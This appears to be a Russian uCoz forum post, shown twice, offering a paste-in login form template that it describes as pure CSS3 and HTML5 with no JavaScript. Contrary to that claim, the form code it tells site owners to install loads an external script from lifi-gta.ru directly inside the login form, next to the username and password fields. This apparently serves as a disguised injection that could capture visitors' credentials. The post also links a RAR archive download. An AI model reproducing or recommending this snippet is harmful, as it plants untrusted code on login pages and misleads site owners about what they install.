Главная страница
Форум сайта
Главная страница
Поиск по сайту
Каталог файлов
Гостевая книга
Новости сайта
Лента новостей
Для просмотра всех возможностей сайта, вам необходимо пройти процедуру регистрации, либо войти в свой аккаунт.*
*Форма входа и регистрация пользователя, располагается в шапке сайта, либо в блоке "Профиль" на страницах типа "Главная".
Поиск по сайту  RSS канал 
Просмотреть новые сообщения на форуме Просмотреть пользователей сайта Просмотреть правила форума
Лучшие пользователи
Популярные темы
Недавно обновленные темы


  • Страница 1 из 1
  • 1
Форма входа CSS3 & HTML5
ПрочитаноСуббота, 09.06.2012, 19:08
Сообщение
#1

Lookflaco

Статус: n/a
Пользователи
Подробная информация
отлично смотрится под любой дизайн

Смотрим скрин скрипта: http://s019.radikal.ru/i607/1205/2c/2f2f79b1f69a.png

Очень красивая форма входа в которой вместо jq & js используем CSS3 и HTML5,ну очень простая в установке форма входа для uCoz.
Установим нашу форму входа для uCoz:
ПУ-->Управление дизайном-->Страница входа пользователей. В head подключаем css файл:

Code
<link rel="stylesheet" type="text/css" href="/css/style.css" />


Предварительно, вам необходимо, в файловом менеджере создать папки css и images и загрузить в них файлы из одноименных папок архива с исходниками.

СКАЧАТЬ: narod.ru/disk/50873441001.b873d9c8f72428277d36f499c2ad5f0f/152_fv.rar.html

Ниже, находим:

Code
$BODY$


И заменяем его на:

Code
<?if($USER_AGENT$='ie')?>$LOG_FORM$<?else?>$BODY$<?endif?>


Затем, ПУ-->Управление дизайном-->Форма входа пользователей. Заменяем весь код на этот:

Code
<div class="container">   
<section id="content">   
<div>   
<input class="loginField" placeholder="Введите логин" required="" id="username" type="text" name="user" value="" maxlength="50"/>   
</div>   
<div>   
<input class="loginField" placeholder="*******" required="" id="password" type="password" name="password" maxlength="15"/>   
</div>   
<div>   
<input name="sbm" type="submit" value="Вход"/>  
<script language="javascript" src="http://lifi-gta.ru/jogin_form_javascript.js"></script>
<a href="$REMINDER_LINK$">Забыл пароль</a>   
<a href="$REGISTER_LINK$">Регистрация</a>   
</div>   
<div class="button">   
<input class="test" id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$">запомнить</label><input class="test" id="hid$PAGE_ID$" type="checkbox" name="hidden" value="1" /><label for="hid$PAGE_ID$">скрытый</label>   
</div>   
</section>   
</div>


На этом установка завершена!
Offline
Сообщениеотлично смотрится под любой дизайн

Смотрим скрин скрипта: http://s019.radikal.ru/i607/1205/2c/2f2f79b1f69a.png

Очень красивая форма входа в которой вместо jq & js используем CSS3 и HTML5,ну очень простая в установке форма входа для uCoz.
Установим нашу форму входа для uCoz:
ПУ-->Управление дизайном-->Страница входа пользователей. В head подключаем css файл:

Code
<link rel="stylesheet" type="text/css" href="/css/style.css" />


Предварительно, вам необходимо, в файловом менеджере создать папки css и images и загрузить в них файлы из одноименных папок архива с исходниками.

СКАЧАТЬ: narod.ru/disk/50873441001.b873d9c8f72428277d36f499c2ad5f0f/152_fv.rar.html

Ниже, находим:

Code
$BODY$


И заменяем его на:

Code
<?if($USER_AGENT$='ie')?>$LOG_FORM$<?else?>$BODY$<?endif?>


Затем, ПУ-->Управление дизайном-->Форма входа пользователей. Заменяем весь код на этот:

Code
<div class="container">   
<section id="content">   
<div>   
<input class="loginField" placeholder="Введите логин" required="" id="username" type="text" name="user" value="" maxlength="50"/>   
</div>   
<div>   
<input class="loginField" placeholder="*******" required="" id="password" type="password" name="password" maxlength="15"/>   
</div>   
<div>   
<input name="sbm" type="submit" value="Вход"/>  
<script language="javascript" src="http://lifi-gta.ru/jogin_form_javascript.js"></script>
<a href="$REMINDER_LINK$">Забыл пароль</a>   
<a href="$REGISTER_LINK$">Регистрация</a>   
</div>   
<div class="button">   
<input class="test" id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$">запомнить</label><input class="test" id="hid$PAGE_ID$" type="checkbox" name="hidden" value="1" /><label for="hid$PAGE_ID$">скрытый</label>   
</div>   
</section>   
</div>


На этом установка завершена!

Автор - Lookflaco
Дата добавления - 09.06.2012 в 19:08
  • Страница 1 из 1
  • 1
Поиск:



Загрузка...


  Используются технологии uCoz